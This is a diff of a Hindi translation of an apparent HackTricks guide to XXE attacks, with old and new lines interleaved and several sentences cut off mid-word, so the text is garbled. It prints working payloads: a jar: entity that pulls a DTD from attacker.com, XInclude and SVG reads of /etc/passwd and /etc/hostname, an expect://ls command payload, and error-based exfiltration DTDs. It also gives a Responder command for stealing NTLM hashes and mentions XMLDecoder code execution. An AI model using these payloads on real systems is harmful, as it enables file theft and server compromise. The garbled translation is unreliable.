इस वंशानुक्रमिकता की जाँच के लिए, एक **माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।
इस वंशाता की जाँच के लिए, एक **माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।
जब दस्तावेज़ को अनज़िप कर दिया गया है, तो `./unzipped/word/document.xml` पर स्थित XML फ़ाइल को एक पसंदीदा पाठ संपादक (जैसे vim) में खोलकर संपादित किया जाना चाहिए। XML को जीवंश XXE पेलोड शामिल करने के लिए संशोधित किया जाना चाहिए, जिसमें अक्सर एक HTTP अनुरोध से प्रारंभ होता है।
जब दस्तावेज़ को अनज़िप कर दिया गया है, तो `./unzipped/word/document.xml` पर स्थित XML फ़ाइल को खोलकर और संपादित करना चाहिए एक पसंदीदा पाठ संपादक में (जैसे vim)। XML को इच्छित XXE पेलोड शामिल करने के लिए संशोधित किया जाना चाहिए, जिसमें अक्सर एक HTTP अनुरोध से प्रारंभ होता है।
### Jar: protocol
संशोधित XML लाइनें दो मूल XML ऑब्ज
**jar** प्रोटोकॉल केवल **जावा एप्लिकेशन्स** के भीतर ही पहुंचने योग्य बनाया गया है। इसका उद्देश्य **PKZIP** आर्काइव (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइल एक्सेस संभव बनाना है, जो स्थानीय और दूरस्थ फ़ाइलों को सेवित करता है।
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
PKZIP फ़ाइल्स के अंदर फ़ाइलों तक पहुँचना **XXE को सिस्टम DTD फ़ाइल के माध्यम से दुरुपयोग करने के लिए बहुत उपयोगी है।** [इस खंड को देखें जिसमें सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे करें इसका ज्ञान प्राप्त करें](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
PKZIP फ़ाइल्स के भीतर फ़ाइलों तक पहुँचना **XXE को उपयोग करने के लिए बहुत उपयोगी है जिसके माध्यम से सिस्टम DTD फ़ाइलों का दुरुपयोग किया जा सकता है।** [इस खंड को जानने के लिए देखें कि सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे किया जाए](xxe-xee-xml-external-entity.md#error-based-system-dtd)।
{% endhint %}
PKZIP आर्काइव के भीतर फ़ाइल तक पहुँचने के पीछे की प्रक्रिया ज़रा से कई कदमों में शामिल है:
PKZIP आर्काइव के भीतर फ़ाइल तक पहुँचने के पीछे की प्रक्रिया निम्नलिखित चरणों से गुजरती है:
1. एक HTTP अनुरोध किया जाता है ताकि निर्दिष्ट स्थान से जैसे `https://download.website.com/archive.zip` से जिप आर्काइव डाउनलोड किया जा सके।
2. आर्काइव को संचित रूप से सिस्टम पर रखा जाता है, सामान्यत: `/tmp/...` जैसी स्थान पर।
3. फिर आर्काइव को खोलने के लिए उसकी सामग्री तक पहुँचा जाता है।
2. जिप आर्काइव को डाउनलोड करने वाला HTTP प्रतिक्रिया सिस्टम पर अस्थायी रूप से स्थानांतरित किया जाता है, सामान्यत: `/tmp/...` जैसे स्थान पर।
3. फिर आर्काइव को खोलकर इसकी सामग्री तक पहुँचा जाता है।
4. आर्काइव के भीतर विशिष्ट फ़ाइल, `file.zip`, पढ़ी जाती है।
5. इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
इस प्रक्रिया को दूसरे कदम पर रोकने के लिए एक दिलचस्प तकनीक है जिसमें सर्वर कनेक्शन को खुला रखने के लिए असीमित रूप से सेव करते समय सर्वर कनेक्शन को खुला रखने के लिए उपलब्ध उपकरणों का उपयोग किया जा सकता है। [इस रिपॉजिटरी में उपलब्ध उपकरणों](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक जावा सर्वर (`slowserver.jar`) शामिल हैं।
इस प्रक्रिया को दूसरे चरण में रुकावट डालने के लिए एक दिलचस्प तकनीक शामिल है जिसमें सर्वर कनेक्शन को खुला रखने का उपाय असीमित समय तक किया जाता है जब आर्काइव फ़ाइल को सेवा किया जा रहा है। इस उद्देश्य के लिए [इस भंडार](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) में उपलब्ध उपकरणों का उपयोग किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक जावा सर्वर (`slowserver.jar`) शामिल हैं।
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और सुरक्षा दोष को बढ़ा सकता है जो एक पथ चलना को शामिल करता है (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डिसीरियलाइज़ेशन, आदि)।
एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और सुरक्षा दोष को बढ़ावा देने में मदद कर सकता है जो एक पथ चलन शामिल करता है (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डसीरियलाइज़ेशन, आदि)।
{% endhint %}
### XSS
@ -291,13 +287,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### चौकस ब्लोअप हमला
#### चद्राकार विस्फोट हमला
![](<../.gitbook/assets/image (531).png>)
![](<../.gitbook/assets/image (524).png>)
#### NTML प्राप्त करना
Windows होस्ट पर वेब सर्वर उपयोगकर्ता क NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:
Windows होस्ट पर वेब सर्वर उपयोगकर्ता क NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:
```bash
Responder.py -I eth0 -v
```
@ -311,37 +307,37 @@ Responder.py -I eth0 -v
### XInclude
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंध लगने के कारण, पारंपरिक XXE हमलों को बाधित करता है। हालांकि, `XInclude` हमला एक समाधान प्रदान करता है जिसके द्वारा XML दस्तावेज के किसी भी डेटा तत्व में बाह्य एंटिटियों को डाला जा सकता है। यह विधि उस समय प्रभावी है जब केवल सर्वर द्वारा उत्पन्न XML दस्तावेज के डेटा का केवल एक हिस्सा नियंत्रित किया जा सकता है।
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, तो XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंध के कारण पारंपरिक XXE हमलों को बाधित करता है। हालांकि, `XInclude` हमला एक समाधान प्रदान करता है जिसके द्वारा XML दस्तावेज के किसी भी डेटा तत्व में बाह्य एंटिटियों को डालने की अनुमति होती है। यह विधि प्रभावी है जब भी केवल सर्वर द्वारा उत्पन्न XML दस्तावेज के डेटा का केवल एक हिस्सा नियंत्रित किया जा सकता है।
`XInclude` हमला करने के लिए, `XInclude` नेमस्पेस को घोषित किया जाना चाहिए, और इच्छित बाह्य एंटिटी के लिए फ़ाइल पथ को निर्दिष्ट किया जाना चाहिए। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस प्रकार का हमला कैसे तैयार किया जा सकता है:
`XInclude` हमला करने के लिए, `XInclude` नेमस्पेस का घोषणा करनी चाहिए, और इच्छित बाह्य एंटिटी के लिए फ़ाइल पथ को निर्दिष्ट किया जाना चाहिए। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह का हमला कैसे तैयार किया जा सकता है:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) पर जांच करें!
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) देखें!
### SVG - फ़ाइल अपलोड
उन फ़ाइलों को जो उपयोगकर्ताओं द्वारा किसी प्लिकेशन पर अपलोड की जाती हैं, जो फिर सर्वर पर प्रोसेस की जाती हैं, में XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, में गड़बड़ी का शिकार हो सकती है। ऑफिस दस्तावेज़ (DOCX) और छवियों (SVG) जैसे सामान्य फ़ाइल प्रारूप XML पर आधारित होते हैं।
उन फ़ाइलों को जो उपयोगकर्ताओं द्वारा किसी विशेष एप्लिकेशन पर अपलोड की जाती हैं, जो फिर सर्वर पर प्रोसेस की जाती हैं, उनमें XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, उसमें सुरक्षा दोषों का शिकार हो सकते हैं। सामान्य फ़ाइल प्रारूप जैसे कार्यालय दस्तावेज़ (DOCX) और छवियाँ (SVG) XML पर आधारित होती हैं।
जब उपयोगकर्ताएं **छवियाँ अपलोड** करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। ऐसे भी ऐप्लिकेशन्स के लिए जो PNG या JPEG जैसे प्रारूपों की उम्मीद कर रहे हों, **सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है**। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुपयोगी SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) वंशांकन की खुली हो सकती है।
जब उपयोगकर्ता **छवियाँ अपलोड** करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। ऐसे प्लिकेशन्स के लिए जो PNG या JPEG जैसे प्रारूपों की अपेक्षा कर रहे हों, **सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है**। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुस्त SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) दोषों का सामना करना पड़ सकता है।
इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहाँ एक दुरुपयोगी SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:
इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहां एक दुरुस्त SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
एक और तकनीक शामिल है जिसमें PHP "expect" व्रैपर के माध्यम से **कमांड्स को निष्पादित** करने का प्रयास किया जाता है:
एक और तकनीक शामिल है जिसमें PHP "expect" रैपर के माध्यम से **कमांड्स को निष्पादित** करने का प्रयास किया जाता है:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपाय की आवश्यकता को हाइलाइट किया जाता है।
दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपायों की आवश्यकता को हाइलाइट किया जाता है।
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) देखें!
**एक PDF फ़ाइल अपलोड करे**
**एक PDF फ़ाइल अपलोड करे**
एक XXE को शोषित करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें इसे सीखने के लिए निम्नलिखित पोस्ट पढ़ें:
एक XXE को शोषित करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें, इसे सीखने के लिए निम्नलिखित पोस्ट पढ़ें:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -367,7 +363,7 @@ Content-Length: 52
```
### Content-Type: JSON से XEE तक
अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "**Content Type Converter**". [यहाँ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप इस उदाहरण को पा सकते हैं:
अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "**Content Type Converter**". [यहाँ](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) आप इस उदाहरण को देख सकते हैं:
```xml
Content-Type: application/json;charset=UTF-8
@ -397,7 +393,7 @@ Content-Type: application/xml;charset=UTF-8
```
एक और उदाहरण [यहाँ](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) मिल सकता है।
## WAF और सुरक्षा उलटाव
## WAF और सुरक्षा अवरोध
### Base64
```xml
@ -421,15 +417,15 @@ Content-Type: application/xml;charset=UTF-8
```
### फ़ाइल:/ प्रोटोकॉल बाईपास
अगर वेब PHP का उपयोग कर रहा है, तो `file:/` की बजाय आप **php wrappers**`php://filter/convert.base64-encode/resource=` का उपयोग **आंतरिक फ़ाइलों तक पहुँचने** के लिए कर सकते हैं।
यदि वेब PHP का उपयोग कर रहा है, तो `file:/` की बजाय आप **php wrappers**`php://filter/convert.base64-encode/resource=` का उपयोग करके **आंतरिक फ़ाइलों तक पहुँच** सकते हैं।
अगर वेब Java का उपयोग कर रहा है तो आप [**jar: प्रोटोकॉल**](xxe-xee-xml-external-entity.md#jar-protocol) की जाँच कर सकते हैं।
यदि वेब Java का उपयोग कर रहा है तो आप [**jar: प्रोटोकॉल**](xxe-xee-xml-external-entity.md#jar-protocol) की जाँच कर सकते हैं।
### HTML Entities
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) से ट्रिक\
आप एक **एंटिटी को एंटिटी के अंदर बना सकते** हैं जिसे **html entities** से एन्कोड किया जाता है और फिर इसे **एक dtd लोड करने** के लिए कॉल कर सकते हैं।\
ध्यान दें कि उपयोग किए जाने वाले **HTML Entities** को **संख्यात्मक** होना चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
आप **html entities** का उपयोग करके **एक एंटिटी को एंटिटी के अंदर बना** सकते हैं और फिर इसे **एक dtd लोड** करने के लिए कॉल कर सकते हैं।\
ध्यान दें कि उपयोग किए गए **HTML Entities** को **संख्यात्मक** होना चाहिए (जैसे \[इस उदाहरण में]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -443,7 +439,7 @@ DTD उदाहरण:
%abt;
%exfil;
```
## PHP रैपर्स
## PHP Wrappers
### Base64
@ -475,7 +471,7 @@ DTD उदाहरण:
यह उदाहरण [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) से प्रेरित है।
XLIFF (XML स्थानीयकरण अंतराल फ़ाइल प्रारूप) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका प्राथमिक उपयोग स्थानीयकरण के दौरान टूल्स के बीच स्थानीयकरणीय डेटा को स्थानांतरित करने के लिए और CAT (कंप्यूटर सहायित अनुवाद) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में प्रयोग किया जाता है।
XLIFF (XML स्थानीयकरण अंतराल फ़ाइल प्रारूप) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका मुख्य रूप से उपयोग स्थानीयकरण के दौरान टूल्स के बीच स्थानीयकरणीय डेटा को स्थानांतरित करने के लिए और CAT (कंप्यूटर सहायित अनुवाद) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में प्राथमिक रूप से उपयोग किया जाता है।
### अंधा अनुरोध विश्लेषण
@ -497,8 +493,7 @@ Content-Type: application/x-xliff+xml
```
गलती के बावजूद, Burp Collaborator पर एक हिट दर्ज किया गया है, जिससे बाहरी एंटिटी के साथ किसी स्तर के बातचीत का पता चलता है।
आउट ऑफ़ बैंड डेटा निकासी
डेटा निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:
आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन के लिए, एक संशोधित अनुरोध भेजा जाता है:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -510,10 +505,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
यह दृष्टिकोण दिखाता है कि उपयोगकर्ता एजेंट का उपयोग जावा 1.8 का है। इस जावा संस्करण के साथ एक नोट की सीमा है कि आउट ऑफ बैंड तकनीक का उपयोग करके /etc/passwd जैसे न्यूलाइन वाले फ़ाइल्स को पुनः प्राप्त करने में असमर्थता है।
यह दृष्टिकोण दिखाता है कि उपयोगकर्ता एजेंट का उपयोग जावा 1.8 का है। इस जावा संस्करण के साथ एक नोटेड सीमा यह है कि आउट ऑफ बैंड तकनीक का उपयोग करके /etc/passwd जैसे न्यूलाइन वाले फ़ाइल्स को पुनः प्राप्त करने में असमर्थता है।
त्रुटि-आधारित डेटा उद्धारण
इस सीमा को पार करने के लिए, एक त्रुटि-आधारित दृष्टिकोण का उपयोग किया जाता है। डीटीडी फ़ाइल निम्नलिखित ढंग से संरचित है ताकि एक त्रुटि को ट्रिगर करें जिसमें लक्षित फ़ाइल से डेटा शामिल हो।
त्रुटि-आधारित डेटा निकासी इस सीमा को पार करने के लिए, एक त्रुटि-आधारित दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल निम्नलिखित ढंग से संरचित है ताकि एक त्रुटि को ट्रिगर करें जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -524,19 +518,18 @@ Content-Type: application/x-xliff+xml
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
त्रुटि संदेश में फ़ाइल की सामग्री शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:
फ़ाइल की सामग्री को त्रुटि संदेश में शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
यह संशोधन फ़ाइल की सामग्री की सफल exfiltration में ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में प्रतिबिम्बित होता है। यह एक सफल XXE (XML External Entity) हमला दर्शाता है, जो संवेदनशील जानकारी निकालने के लिए Out of Band और Error-Based तकनीकों का उपयोग करता है।
यह संशोधन फ़ाइल की सामग्री की सफल निकासी की ओर ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में प्रतिबिम्बित होता है। यह एक सफल XXE (XML External Entity) हमला की ओर संकेत करता है, जो संवेदनशील जानकारी निकालने के लिए Out of Band और Error-Based तकनीकों का उपयोग करता है।
## RSS - XEE
XXE जोखिम का उपयोग करने के लिए मान्य XML जिसमें RSS प्रारूप है।
XXE जोखिम का शोध करने के लिए मान्य XML जिसमें RSS प्रारूप है।
### पिंग बैक
@ -584,7 +577,7 @@ XXE जोखिम का उपयोग करने के लिए मा
```
### स्रोत कोड पढ़ें
PHP base64 फ़िल्टर का उपयोग कर
PHP base64 फ़िल्टर का उपयोग करे
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -605,9 +598,10 @@ PHP base64 फ़िल्टर का उपयोग करके
</channel>
</rss>
```
## Java XMLDecoder XEE से RCE तक
## जावा XMLDecoder XEE से RCE तक
XMLDecoder एक Java कक्षा है जो XML संदेश पर आधारित ऑब्जेक्ट बनाती है। यदि एक दुर्भाग्यपूर्ण उपयोगकर्ता एक अनुरोध में **readObject** विधि का उपयोग करने के लिए अनियमित डेटा का उपयोग करा सकता है, तो वह तुरंत सर्वर पर कोड क्रियान्वयन हासिल कर लेगा।
XMLDecoder एक Java क्लास है जो एक XML संदेश पर आधारित ऑब्ज
### Runtime().exec() का उपयोग
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -675,25 +669,29 @@ XMLDecoder एक Java क्लास है जो एक XML संदेश
## संदर्भ
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
* अपने बाह्य DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* अपने बाह्य DTD का उपयोग करके HTTP के माध्यम से जानकारी निकालें: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>ीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks** को **PDF** में डाउनलोड करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs** सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके
</details>

View file

@ -1,24 +1,28 @@
<details>
<summary><strong>शून्य से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
